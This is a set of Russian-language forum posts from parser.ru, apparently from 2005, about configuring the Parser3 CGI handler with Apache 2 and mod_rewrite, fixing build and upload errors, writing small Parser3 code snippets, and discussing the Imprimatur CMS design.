Далее ядро снова ему возвращает /cgi-bin/parser3.cgi/cgi-bin/parser3.cgi/our_parser_file.html и так до тех пор, пока не будет достигнуто MaxRedirects или ограничение на число внутренних подзапросов. \
\
\
Что пробовали: \
- огромное количество экспериментов с rewrite_mod (на 1.3 все работает как часы)\
\
- назначали ForceType для <Location>, <Files> и т.д. (на 1.3 работает и выглядит очень красиво)\
\
 - делали cgi скрипт, с заголовком \
[code]\
#!/loca/usr/bin/parser.cgi \
[парсерный код]\
[/code] \
Но он работал только при запуске из консоли, на вебе - просто стандартный ответ парсера.\
\
- Ставили outputFilter (через mod_ext_filter): тоже самое + проблемы c stdin и переменными окружения.\
\
и т.д.\
\
В общем, можно очень много писать - что делали, в чем была причина неработоспособности.\
\
\
Единственный рабочий вариант -  DocumentError + DirectoryIndex. \
\
\
Можно ли решить задачу как-нибудь \"штатным\" способом?"
"45493","признаться откровенно, apache2 у меня не запускается в принципе. даже без парсера."
"45499","пришли PAF'у файл при обращении к которому возникает ошибка"
"45500","В этом файле у меня находится такая информация:\
[quot]# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /home/u12345/login.mhost.ru/cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/quot]\
\
А на сайте он выдает мне ошибку 404 с текстом:\
[quot]Not Found\
The requested URL /u12345/login.mhost.ru/cgi-bin/parser3.cgi/index.html was not found on this server.[/quot]\
\
Из Шелы я запускал CGI, а вот так работать не хочет!\
\
права все прописанны как надо на всей папке стоит 755 и на CGI -755\
\
В чем проблема?"
"45501","как написано в папке этого сайта СКАЧАТЬ нужно просто прописать путь к CGi /cgi-bin/parser3.cgi. Но так он мне выдает 500 ошибку!"
"45502","я у себя не пишу полный путь /home/ ....   /parser3.cgi, а ставлю лишь:\
\
\
/cgi-bin/parser3.cgi"
"45503","На мастерхосте парсер ставится легко и непринужденно, если действовать [i]строго[/i] по инструкции. Где-то нарушаете."
"45506","уже коротко описал свои мучения: http://www.parser.ru/forum/?id=45492\
\
Не затруднит ли вас выложить часть конфига своего севера, там где про парсер и сами реврайт преобразования?\
\
никак не могу найти в чем грабли :("
"45507","Но самый простой — таблица соответствий «номер месяца—количество дней», а для февраля учитывать високосность. Например так:\
[code]$31dec[^date::create($current_year;12;31)]\
^if($31dec.yearday-365){не високосный}{високосный}[/code]"
"45509","в .htaccess парсер подключен как написано в персерной документации\
rewrite rule написаны в соответствии с документацией\
\
может вы покажете ваши рерайты?\
\
P.S. знаю что на некоторых апачах синтаксис рерайтов немного отличался."
"45510","У меня даже в денвере не работает!"
"45514","home\
+--mysite.ru 777\
+---+----cgi-bin/                755\
+   +             +-charsets     755  binary\
    +             +-lib          755  binary\
    +             +-auto.p       644  binary\
    +             +-parser3.cgi  755  binary\
+---+----tmp/ 755\
+---+----www/ 777 \
    +             +-index.html   777 \
+--------.htaccess 754\
+"
"45515","вы уверены что понимаете что делаете? или просто перебираете все возможные вариенты? начните с чего-нить одного (например Win + Denwer). разберитесь. дальше будет все просто элементарно."
"45517","Мне нужно установить CGI обработчик на FreeBSD(MasterHost). Уже смотрел на полную инструкцию выполнял - не пашет."
"45519","[Wed Oct 12 00:13:22 2005] [error] [client my.ip.my.ip] Premature end of script headers: /home/ulogin/syte.ru/cgi-bin/parser3.cgi"
"45520","Просветите пожалуйста как exec корректно  использовать.\
Суть такая есть скрипт на парсере его надо запускать много раз в цикле (перенсти цикл в тело не получается). \
Под шелом руками я его пускаю как \"cgi-bin/parser3/parser3.cgi PadPoll.phtml >log.html &\"\
вот хочу вместо рук пускать его скрпитом, написал еще 1 скрипт starter.html\
там пока 1 строчка \
для винды было:\
$f[^file::exec[E:\\WebServer\\home\\localhost\\cgi-bin\\parser\\parser3.exe]] \
для теста, пробывал и так \
$f[^file::exec[E:\\WebServer\\home\\localhost\\cgi-bin\\parser\\parser3.exe;/test.phtml]] \
Парсер запускает самого себя -  то есть starter.html. получается бесконечный цикл, в таск менеджере мне удалось его снять где-то после 30 процесса.\
\
рискнул запустить на сервере:\
$f[^file::exec[cgi-bin/parser3/parser3.cgi;test.phtml;>log.html]]\
сервер умер наглухо:(, судя по всему тоже бесконечный цикл.\
\
вопрос как правильно запустить из скрипта другой скрипт на парсере ?\
Если меня с сервера не выгонят конечно :)"
"45522","Вы не представляете! Работает! А дело было в FTP клиенте. Хрен его знает почему но он отправлял файлы в текстовом режиме, хотя я  выбирал и изменял в его настройке текстовой на бинарный. Только загрузил Far'ом - всё заработало! Может сервер не поддерживал контакт с FileZill'а? Ну короче эту прогу в отстойник и никогда не пользуйтесь ею.\
З.Ы. \
Я использовал древний Far, который побил новое ДЕР*МО"
"45524","Объясните лучше зачем вы это делаете. Может найдём более красивое решение.\
А вообще подобные вещи нужно делать в cron."
"45526","Это продолжение проблемы описанной тут \
http://www.parser.ru/forum/?id=45473\
\
скрипт прекрасно работает при запуске для отработки 10 файлов, но падает при 50. Вот возникла идея запускать много раз для обработки 10 файлов. \
\
теперь даже не знаю, про крон я думал, хотя скриптом было бы удобнее, но после того как повесил сервер попыткой запустить обработку скрипта... :("
"45527","перечисленные наблюдения=совпадения, а соображения=ерунда."
"45528","http://www.parser.ru/forum/?id=45466"
"45529","1. вы не правильно указываете путь к запускаемому файлу. используйте относительный путь, как в вашем примере запуска на сервере, только имейме ввиду что тут вместо cgi-bin должен не скрипт-алиас, а реальный каталог, они могут не совпадать.\
\
2. параметры вы передаете неправильно.\
\
но это касалось запуска скриптов \"вообще\". получится-ли у вас так запустить парсер - я не знаю (нужно сначала сделать cd в document root), но попробуйте сначала потренироваться на bat/sh файлах. \
\
а вообще мне кажется подобный подход каким-то неправильным. может вообще написать кусок, который у вас вызывает проблемы написать на perl?"
"45530","Подскажите пожалуйста, почему если я меняю метод @check[]\
на \
[code]\
@check[]\
^if(!def $form:name && !def $form:email && !def $form:text){\
	^throw[check;Не заполнены обязательные поля формы.]\
}\
#end @check[]\
[/code]\
т.е. если хочу проверить на заполненость больше чем  одно поле,\
оно не срабатывает. Если одно поле проверяю, то все в норме."
"45531","Мне, к примеру, количество дней нужно знать при анализе разных данных из MySQL и я делаю так:\
\
[code]\
^string:sql{SELECT DAYOFMONTH(LAST_DAY(now()))}\
[/code]"
"45532","в вашем кода оно сработает если вы не заполните все три поля. что написали - то и получаете.\
\
используйте иное логическое выражение, если вам нужна иная логика."
"45533","[i]Система[/i]: \
\
Apache/2.0.54_4 (FreeBSD 5.4).\
\
[i]virtualhost.conf[/i]:\
\
AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3.cgi\
\
RewriteEngine On                                                             \
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_FILENAME} !-f                          \
RewriteRule ^/(.+)\\.html$   /handler.html?req=$1       [QSA]\
\
[i]rewrite_log[/i]:\
\
212.192.98.237 - - [12/Oct/2005:16:26:22 +0700] \
[test.localhost/sid#810d570][rid#8b11ad0/initial/redir#1] (2) \
prefixed with document_root to \
/.1/www/test_server/document_root/handler.html\
\
212.192.98.237 - - [12/Oct/2005:16:26:22 +0700] \
[test.localhost/sid#810d570][rid#8b11ad0/initial/redir#1] (1) \
go-ahead with /.1/www/test_server/document_root/handler.html [OK]\
\
212.192.98.237 - - [12/Oct/2005:16:26:22 +0700] \
[test.localhost/sid#810d570][rid#8b76a00/initial/redir#2] (2) init \
rewrite engine with requested uri \
/cgi-bin/parser3.cgi/cgi-bin/parser3.cgi/index.html\
\
212.192.98.237 - - [12/Oct/2005:16:26:22 +0700] \
[test.localhost/sid#810d570][rid#8b76a00/initial/redir#2] (2) \
rewrite /cgi-bin/parser3.cgi/cgi-bin/parser3.cgi/index.html -> \
/handler.html?req=cgi-bin/parser3.cgi/cgi-bin/parser3.cgi/index\
\
212.192.98.237 - - [12/Oct/2005:16:26:22 +0700] \
[test.localhost/sid#810d570][rid#8b76a00/initial/redir#2] (2) local \
path result: /handler.html\
\
212.192.98.237 - - [12/Oct/2005:16:26:22 +0700] \
[test.localhost/sid#810d570][rid#8b76a00/initial/redir#2] (2) \
prefixed with document_root to \
/.1/www/test_server/document_root/handler.html\
\
212.192.98.237 - - [12/Oct/2005:16:26:22 +0700] \
[test.localhost/sid#810d570][rid#8b76a00/initial/redir#2] (1) \
go-ahead with /.1/www/test_server/document_root/handler.html [OK]\
\
и т.д. пока недостигнет LimitInternalRecursion"
"45534","когда запускаешь скрипт на сервере, то выдаётся ошибка, и в логе написано: 'xdoc' class is undefined. хотя на локалке всё работает нормально. Кто-нибудь знает почему?"
"45537","Точно, дошло. Оно работает только если не определены ВСЕ три поля формы. \
Т.е. надо все возможные варианты описать(1 не определено, 2 не определено и т.д.)\
Сделал, все работает.\
Большое спасибо."
"45538","Храню в БД текстовую строку\
<span style=\"color: #FF9900;\">Привет</span>\
\
Парсером засовываю это дело в параметр my_html ветки XML-дерева\
\
потом через XSLT делаю вывод <xsl:value-of select=\"@my_html\"/>\
\
получается вот такая штука\
<span style=&quot;color: #FF9900;&quot;>Россия: </span>\
соответственно CSS стиль не работает :(\
\
Как сделать нормальные кавычки"
"45539","[code]\
$rep[^table::create{from	to\
&gt^;	>\
&lt^;	<\
&amp^;	&\
&quot^;	\"\
}]\
$result[^taint[as-is][^tmp_html.replace[$rep]]]\
[/code]"
"45540","если я правильно понял, то нужно было сделать вот так:\
\
RewriteCond %{REQUEST_FILENAME} !-f \
RewriteCond /handler.html -f \
RewriteRule ^/(.+)\\.html$ /handler.html?req=$1 [QSA,L]\
\
результат - pass through(1). Т.е. пропускает, как не соответствующие условию.\
\
а если просто:\
\
RewriteCond %{REQUEST_FILENAME} !-f \
RewriteRule ^/(.+)\\.html$ /handler.html?req=$1 [QSA,L]\
\
то - все тоже самое, те же 12 килобайт лога с аналогичными преобразованиями.\
\
Может есть какой 100% рабочий пример?"
"45542","в [i]virtualhost.conf[/i] написать:\
\
RewriteCond %{REQUEST_FILENAME} !-f \
RewriteRule ^(.+)\\.html$ /handler.html?req=$1 [QSA,L]\
\
[b]то[/b]\
\
в [i]error.log[/i] пишем:\
\
[Wed Oct 12 18:07:14 2005] [error] [client 212.192.98.237] Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevelDebug' to get a backtrace.\
\
в [i]rewrite.log[/i] - ничего не записывается.\
\
Чувствую, что грабли какие-то очень-очень простые. \
Апач уже пересобирали три раза. \
Другие варианты тоже были - см. http://www.parser.ru/forum/?id=45492"
"45543","А можно вот об этом подробнее: \"Парсером засовываю это дело в параметр my_html ветки XML-дерева\". Что-что делаете? Можете кусок кода привести?\
\
Прямо сейчас могу сказать, что решение не верно в корне, причем два раза: 1. Передача в xml строки с символами <>\", 2. Попытка достать это все с помощью value-of"
"45544","парсером занялся недавно, интересен без сомнения! но пока что тяжко, не могу в банальных мелочах разобраться, посему надеюсь на поддержку примерами.\
\
ентересует, дял начала, процесс размещения новостей на сайте. будем напрямую для начала пользоваться примерами, которые в уроках представлены, а именно размещение новостей посредством взаимосвязи с БД на страничке с привязкой к календарю через админскую панель.\
\
я думаю из завсегдатых все знают этот пример =)\
\
ПРОБЛЕМА №1следующего плана: мне собственно не нужна привязка к календарю, а вот взаимодействие с БД оставить хочется. Но никак не могу добиться работоспособности без использования ^calendar[]. запись в БД идет через админку, а вот на страницу не выводится :/ однако не знаю в чем дело и какие строчки кода нужно удалить, а какие дописать! я так понял править код нужно на index.html (я иду строго по примеру). Буду очень рад если подскажите как изменить код, либо дадите ссылки на какой нить каталог готовых скриптов (с удовольствием поразбирался бы методом тыка, у меня так почему то лучше получатся)\
\
ПРОБЛЕМА №2 в том случае если не влом будет помочь: в идеале хочется сделать новостной модуль (структура близкая к примеру и к тому что я описал выше), НО (!!!) не знаю пока что по безграмотности в парсере как выводить каждую новую новость СВЕРХУ (!!!), а не друг за другом (как в примере), т.е. самая свежая новость вверху (приму любые советы, можно даже намеки =) )\
\
ПРОБЛЕМА №3 заключается в том что хочется выводить определенное кол-во новостей на одной странице, например 4 новости на каждой странице, а остальнве будут примерно таким образом (ну как обычно):\
\
[1 2 3 4 5 6 7 ... архив]\
\
...что-то типа этого! опять же ввиду неопытности не могу себе представить как этого добиться, из мануалов понял много интересного, но не могу все в единую кучу связать\
\
Буду ОЧЕНЬ благодарен за любую помощу! заранее презнателен!"
"45545","проверил локально ещё раз:\
1. apache 2.0.54, установки по умолчанию. раскомментирована строка с mod_rewrite, добавлена секция:\
[code]\
<VirtualHost ***>\
	ServerName tofu\
	ServerAdmin ***@***\
	DocumentRoot d:/www/tofu/www/\
	ScriptAlias  /cgi-bin/  d:/www/tofu/cgi/\
	ErrorLog d:/www/logs/tofu_error_log\
	<Directory \"d:/www/tofu/www/\">\
	    Options Indexes FollowSymLinks MultiViews Includes\
	    AllowOverride all\
	    Order allow,deny\
	    Allow from all\
	</Directory>\
</VirtualHost>\
[/code]\
\
2. в директории d:/www/tofu/www/ лежит .htaccess с содержимым:\
[code]\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
RewriteEngine On\
\
RewriteCond %{REQUEST_FILENAME} !-f \
RewriteRule ^(.*)$ /_doc.html?request=$1 [QSA,L]\
[/code]\
\
3. все работает: если обращаюсь к существующему файлу /_test.html - отображается он, если к не существующей директории /stats/ - происходит рерайт на /_doc.html\
\
как видите все примитивно до безобразия, фактически copy/paste.\
\
UPDATE: может с document root что-нить не так и это в вашем случае сказывается на рерайтах? еще попробуйте выяснить, может у вас не работает конструкция -f, попробуйте в качестве RewriteCond указать %{REQUEST_URI} !^/handler\\.html$ (тут со слешом после ^)"
"45547","1. прочитайте FAQ о том, как задавать вопросы\
2. [url=\"/examples/\"]тут[/url] были? [url=\"/examples/news/\"]новостной раздел[/url], [url=\"/examples/mscroller/\"]постраничная навигация[/url]"
"45552","в которой всё работает, только надо догадаться, как выразить свою мысль и запастись терпением.\
\
и наблюдение: авторы apache не спешат чинить баги: вчера я для клиента пересобирал виндовый apache из исходников, прикладывал правильный patch, который был прислан авторам уже больше года назад, но до сих пор не попал в общие исходники."
"45553","то бишь, &quot; вместо кавычки (в таком виде, кстати, Парсер и положит в базу грязные данные),\
а выводить: [code]\
<xsl:value-of select=\"@my_html\" disable-output-escaping=\"yes\"/>\
[/code]"
"45554","На mod_rewrite никогда не жаловался, нормально он работает, очень удобный инструмент.\
\
В нашем случае - под Apache 1.3 работало все стабильно, никаких проблем. Потом переехали - на другой сервер, где стоит апач 2. Собрали парсер, перенесли базу - все как должно быть. Скопировали конфиг предыдущего севера - Error 500. \
По документации - все сделано верно. \
Документация на используемые директивы дословно повторяет описание для версии 1.3.\
\
Преобразование - простейшее, ничего в нем такого нет. \
\
Заработало, как положено только из .htaccess. \
Из секции virtualhost - вообще никак не получается. \
\
Упоминаний в документации о том, что так делать нельзя - нет. Никаких перекрытий, конфликтов и прочего не было.\
Вообще .htaccess не было на диске.\
\
Что выявлено в процессе длительной настройки: \
в Apache 2.0.54 rewrite_mod работает с файлами, которым назначен cgi-обработчик только из .htaccess. \
Если реврайты размещены в секции virtualhost, то они будут работать корректно только в случае, если файл на который они редиректят не обрабатывается ничем или обрабатывается модулем апача. \
Использование внешних cgi-скриптов (не обязательно парсера)в качестве обработчика приводит к бесконечной рекурсии.\
\
Так же существует ряд других проблем связанных с использованием внешних cgi-скриптов в качестве обработчика. \
\
Те же самые конструкции в Apache 1.3 работают как из virtual host, так и из .htaccess в полном соответствии с документацией."
"45555","Сергей, я вам очень благодарен но проблему я уже решил. И как оказалось всё было в выборе ПО."
"45556","ты был прав, спасибо, теперь всё работает."
"45557","Мой тебе совет: Лучше сначала разберись с разными классами, а потом уже и разбирай все скрипты. А то у тебя будет ка каша в голове:) Ну короче ты не хрена не поймешь. Даже можно просто по эксперементировать с конструкторами или классами."
"45558","извиняюсь от все души!!!! ПОСПЕШИЛ!! =)\
и не заметил ....\
да, с новостями разобрался, уже запустил и даже большую чать понял ... ну а по началу \"ка каша\" (с) в голове реальная была =)"
"45559","насчёт описанного: насколько слышал, дело может быть в порядке подключения модулей.\
\
возможно, перестановка пары строк[AddModule] местами устранит описанные проблемы."
"45560","Мне кажется, это уже тема уже опостылила всем (все таки на форуме дофига подобных тредов), я не собираюсь задавать вопросы (если почитать форум, это не требуется). Но. Почитал Мишино описание четвертого движка Imprimatur'а, посмотрел. Нашел туеву хучу недочетов. Исправляю и выпущу как бесплатный, но OpenSource только на ~30%, продукт. Естественно, сейчас проектирую. Портировал на Parser 3 — XML Sapiens. Так что система будет к тому же и кросс-платформенна. Если кто-то хочет присоединиться (прошу заранне прощения, у меня нет возможности проверять обновления каждый день — работа [b]:([/b] ), и этот кто-то живет в [i]Санкт-Петербурге[/i], то можете обращаться по телефону +7 921 558 70 32. В принципе могу раз в два-четыре дня появляться на форуме, но звонки эффективней. Удачи.\
\
P.S. Разумеется, денег никто платить не будет. Но с возможных продаж проценты идут ВСЕМ. Немаленькие.\
\
P.P.S. Я имел ввиду — бесплатный для некомерческих ресурсов, а также для возможности развития других программистов. Для разработки коммерческих сайтов… Хотя ладно об этом пока рано думать."
"45561","не то, что я вовсе не вижу там недочетов, просто может вы укажите на то, на что я сам не обращаю внимания."
"45562","Если уж вы сделали отличную систему, почему хорошенько не продумать семантические отношения? Ведь у объекта может быть несколько родителей."
"45563","Уважаемый Михаил, не могли бы вы выслать ту информацию, которую об Imprimatur'е можно опубликовать на мой e-mail (wastex@yandex.ru). Мне бы это помогло ).\
\
P.S. Надеюсь я не слишком нагл. ))\
\
P.P.S. А насчет кеширования в вашем Engine, это не так сильно сказывается на общей производительности.\
\
P.P.P.S Я имею ввиду, указание в БД времени актуальности кеша"
"45564","забавный бред."
"45565","Сорри, перепутал. Собственно есть такая штучка - multi-parents/multi-childs. Она довольно востребованна в некоторых моих проектах. До сих пор я реализовывал это на PHP+Xml Sapiens."
"45566","погодите, это как???\
\
я не строил систему для всего, эта система для документов на сайте.\
\
иерархия документов на сайте аналогична иерархии объектов в файловой системе. мой мозг отказывается воспринимать ситуацию, когда а объекта более одного родителя. \
\
и... что это означает на примере? один документ отображается в двух местех? если да, то для меня это не приемлемо на веб, ибо я считаю что в рамках одного сайта не должно быть более одной страницы с одинаковым содержимым."
"45567","Я так понимаю, в описании движка, строки из таблиц связанные с этим не показаны намеренно.\
\
А почему?"
"45568","Ну представьте такое. Интернет магазин. Продает книги.\
\
Фильтр по автору - /authors/lukianenko/\
\
Фильтр по жанру - /genres/blabla/author/\
\
etc...\
\
На самом деле можно много таких примеров придумать.\
\
Иногда это очень надо.\
Иногда.\
\
---------------------------------------------------\
\
А как такой вариант - один объект на нескольких сайтах. Допустим мега-супер-пупер портал имеет страницу contacts в нескольких разделах, разбитых на разные домены."
"45569","[quot]\
Ну представьте такое. Интернет магазин. Продает книги.\
Фильтр по автору - /authors/lukianenko/\
Фильтр по жанру - /genres/blabla/author/\
[/quot]\
\
вы действительно у себя в таком случае делаете дополнительные подчинания? а что вы делаете когда даете посетителю искать книги по введенной им строке поиска?\
\
в моей системе есть объект-книга. есть объект-автор. они не находятся между собой в дочерне-родительских отношениях. есть _дополнительные_ отношения. выводить список после фильтрации можно в каком угодно виде. при ссылке на книгу все равно попадаем на единственный url книги.\
\
[quot]\
...портал имеет страницу contacts в нескольких разделах, разбитых на разные домены.\
[/quot]\
\
и что? то, что совпал кусочек данных - не повод говорить что это однин документ. на одном сайте эти данные могут быть в одном дизайне, обрамлены картинками, а на другом вообще быть в текстовой версии по другому url и в дополнение иметь ещё пачку дополнительных данных (или получить их завтра). в моей системе это решается элементарно - общий блок с данными. \
\
однако спорить не буду: вариантов решение можно найти много. спасибо за приведенные примеры."
"45570","Какую информацию по имприматуру можно получить у вас?"
"45571","Имеет ли смысл основывать CMS на универсальных классах, естественно заточенных под эту CMS, но которые можно использовать и в других проектах?\
\
Конечно, кода становится больше, но зато появляются удобные и элегантные решения, которые можно выкладывать в раздел ПРИМЕРЫ, причем выкладывать даже не с целью чему-нибудь научить народ, а так же как реализован pear.php.net."
"45573","Реализация workflow (в особенности ролей пользователей) - это раз\
\
Поддерживаемые базы данных — два\
\
И, если можно, более подробную диаграмму таблиц на примере какого-нибудь сайта.\
\
А если вы все это (ну или почти :)) мне вышлите на мыло вам вообще цены не будет!"
"45574","[quot]\
не могли бы вы выслать ту информацию, которую об Imprimatur'е можно опубликовать на мой e-mail\
[/quot]\
\
нет, не мог бы. причины:\
1. собранной информации, готовой к публикации у меня просто нет. на заданные вопросы постараюсь ответить.\
2. предпочитаю подобное обсуждать в форуме. что интересно одному может быть интересно нескольким. соотвтственно последователи найдут поиском, ознакомятся, всем будет хорошо.\
\
[quot]\
А насчет кеширования в вашем Engine, это не так сильно сказывается на общей производительности.\
[/quot]\
\
у меня это сказывается ОЧЕНЬ сильно. если конечно речь идет не об одном посетителе в час :)\
\
[quot]\
Я имею ввиду, указание в БД времени актуальности кеша\
[/quot]\
\
не понял."
"45575","[quot]CACHE_TIME используется для хранения этой информации и на основании неё при любой модификации объектов в БД автоматически создается cfg-файл. А вот уже на основании этого cfg-файла работают механизмы кэширования[/quot]\
Еще раз sorry, надо внимательней мне было читать статью :)"
"45576","[quot]Q6. Все это здорово, но не говорите, что может быть удобно редактировать новости компании и, например, список дилеров одним механизмом. Да, он может быть универсальным, но при этом он не будет удобным для всех случаев.\
\
    A6. Согласен. Поэтому следует помнить о следующих вещах:\
\
        * Все таки всегда можно все редактировать из основного средства редактирования, которое универсальное, но не всегда удобное.\
        * Основное средство редактирования включает в себя конструкторы, которые существенно облегчают управление данными. Если у нас в разделе news лежат новости и после создания объекта-новость мы должны создать 4 блока с определенными именами/описаниями, то мы можем определить это в конструкторе родителя, и после создания нового объекта он сразу будет содержать эти поля, и иметь необходимые параметры объекта (обработчик, шаблон, тип...)\
        * Можно создать специализированные средства редактирования, которые будут управлять содержимым частей дерева и выполнять там специфические вещи, скрывая от редактора такие операции как создание блоков объекта, задание их типов и т.д.\
        * Структуры, которые неудобно хранить в дереве объектов можно вынести в отдельные таблицы БД и механизмы по извлечению этих данных и отображению их поместить в соответствующие обработчики[/quot]\
\
А это коечто новенькое, раньше вроде бы не натыкался в этой статье..."
"45577","1. её нет. (если конечно под workflow вы и я понимаем одно и тоже)\
2. mysql, oracle, mssql, теоретически pgsql\
3. там где вы читали там есть картинка с БД engine. она одинаковая (ну почти... появляются новые вещи, они реализуются, но на сайте обновляются много позже, правда щас там достаточно свежая структура). правда есть ещё специфика для каждого конкретного клиента, но она касается не engine, а касается специально оговоренных и сделанных под конкретного клианта механизмов. очевидно что показывать структуры клиентских баз данных я не имею права."
"45578","А как тогда происходит обновление информации на сайте?\
\
А были случаи когда на имприматуре приходилось делать интранет-сайты, или он только для веба?\
\
Что совсем нет workflow? Должны же быть какие-то пользователи. Вон даже в форуме Parser.ru есть :). Кстати он тоже сделан на имприматуре, я так полагаю. Или нет?\
\
З.Ы. Жаль нет описания первой и второй версии движка. Интересно было бы посмотреть как он развивался.\
\
З.З.Ы. А ты весь движ полностью сам делал? Герой советского... тьфу ALG :)"
"45579","то, что вы не заметили этого не значит что его там не было. оно было с самого начала, я правил лишь ошибки и не очень красивые (на мой взгляд) выражения без изменения смысла."
"45580","Есть возможность общения в реал. времени (аська, чат...) или вы заняты?"
"45581","Ой. Забыл. У вас же черным по белому - наследование прав и владелец. Какой я рассеяный. Ужас. )_)"
"45582","Как именно она сделана? Веб-интерфейс или программой на C'ях? Хотя если вы его сделали на .NET скорее всего и то и другое, да еще и в невообразимых пропорциях :)"
"45584","Интранет сайт, в моем понимании, нужен для того, чтобы:\
        a. Обеспечить документооборот\
        b. Иметь общение внутри сети\
        c. Придумайте сами, я ленивый )\
В принципе без b. можно обойтись, но мне кажется интранет как раз ради эффективного и удобного документооборота и затевался"
"45585","А почему нету-то? Ведь, не сомневаюсь, интерфес проектировали они, то есть вы, то есть дизайнеры вашей студии, так почему не дать полюбоваться?\
\
P.S. Я конечно понимаю, что для каждого клиента он может быть своим, но можно, в конце-концов хотяб скриншот админки сайта artlebedev.ru :) Очень хочется поглядеть.\
\
P.P.S. Вообще, хацу пасс/логин, плюс бесплатный имприматур. Шучу. Хотя я сегодня вас действительно напряг. Заранее сорри за наглость )"
"45586","http://www.redgraphic.ru/page.php?page=20&id=997#7\
...мне нравится.\
\
ЗЫ Вот мля, опять почти оффтоплю."
"45587","Главное, что принципиально интернет- и интранет-сайты [i]абсолютно[/i] ничем не отличаются. Все это — веб. Просто в одном случае сайт доступен для миллионов, в другом — только для пользователей вашего интранета. Вся разница."
"45588","Угу, а представь что у тебя не просто интранет/интернет, а все это вместе, то бишь единое информационное пространство, причем чтобы доки из интры были в интернете, нуже какой-нить SOAP/XML-RPC, etc... Во-во и я о том же\
\
ЗЫ Ты же не будешь открывать доступ к интранет ВСЕМ?!"
"45591","[quot]\
А как тогда происходит обновление информации на сайте?\
[/quot]\
\
вопрос не понял.\
\
[quot]\
А были случаи когда на имприматуре приходилось делать интранет-сайты, или он только для веба?\
[/quot]\
\
да. интранет и интернет - для меня одно и то-же.\
\
[quot]\
Что совсем нет workflow? Должны же быть какие-то пользователи. Вон даже в форуме Parser.ru есть :). \
[/quot]\
\
в моем понимании наличие пользователей не говорит о наличии workflow\
\
[quot]\
Кстати он тоже сделан на имприматуре, я так полагаю. Или нет?\
[/quot]\
\
да\
\
[quot]\
З.Ы. Жаль нет описания первой и второй версии движка. Интересно было бы посмотреть как он развивался.\
[/quot]\
\
первая версия была ещё на parser2. есссно никакого xml (шаблонов) не было в помине. на нем был сделан всего 1 сайт (izh-auto.com, который сейчас уже на v.3)\
\
вторая версия - почти то-же самое, но на parser 3. было сделано 2 сайта (ab.lv и spb.mts.ru, последний сейчас на Imp2, первый все ещё работает на той версии). там уже начал использоваться xml, но разделения на обработчики/шаблоны ещё не было. обработчик мог сформировать xml и сам-же оттрансформить его (а мог сразу формировать html), получившийся кусок html-я втыкался прямо в определенное место страницы.\
\
[quot]\
З.З.Ы. А ты весь движ полностью сам делал? Герой советского... тьфу ALG :)\
[/quot]\
\
нет, не весь. только engine и ещё немного. да и его я не сделал бы без тех, кто его использовал и говорил каких возможностей им не достает. кроме того некоторые написанные мной куски или были основаны на чьем-то коде или я позаимствовал код (это касается в основном js, но не только)"
"45592","Разработка универсальной СMS на Парсер требует бюджет примерно от 5000$ ребуется пара программистов на самом Парсере один хороший С++ программист, и месяц - полтора времени."
"45593","Мы все когда-то были юзерами..."
"45595","Если можно вкратце опишите особенности Вашей cms."
"45598","И не один раз.\
Использовал:\
\
gc6.5\
glib-1.2.10\
libxml2-2.6.22\
libxslt-1.1.15\
gdome2-0.8.1\
\
Повторюсь, всё делал СТРОГО по инструкции, несколько раз (6-7) дабы избежать возможность ошибки. Ни на одном из этапов никаких ошибок не было.\
configure для Parser был вот такой:\
[code]\
./configure --prefix=$HOME/parser3install \\\
--with-static-gc=$HOME/gc/lib \\\
--with-static-xml=$HOME/gnome\
[/code]\
В итоге, после make > ./makelog.txt имеем makelog.txt и дополнительно в консоль вываливается следующее:\
[code]\
pa_vhash.C:23:2: warning: no newline at end of file\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0xc6): In function `gdome_xml_di_ref':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:97: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0xec):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:100: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x14a): In function `gdome_xml_di_unref':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:117: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x1a2):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:124: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x21f): In function `gdome_xml_di_query_interface':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:145: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x27b):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:153: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x2ff): In function `gdome_xml_di_hasFeature':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:177: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x3fb):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:191: undefined reference to `g_return_if_fail_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x4ad): In function `gdome_xml_di_createDocumentType':\
/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:227: undefined reference to `g_assert_warning'\
/home/givi/gnome/lib/libgdome.a(gdome-xml-domimpl.lo)(.text+0x5cb):/home/givi/src/gdome2-0.8.1/libgdome/gdomecore/gdome-xml-domimpl.c:234: undefined reference to `g_return_if_fail_warning'\
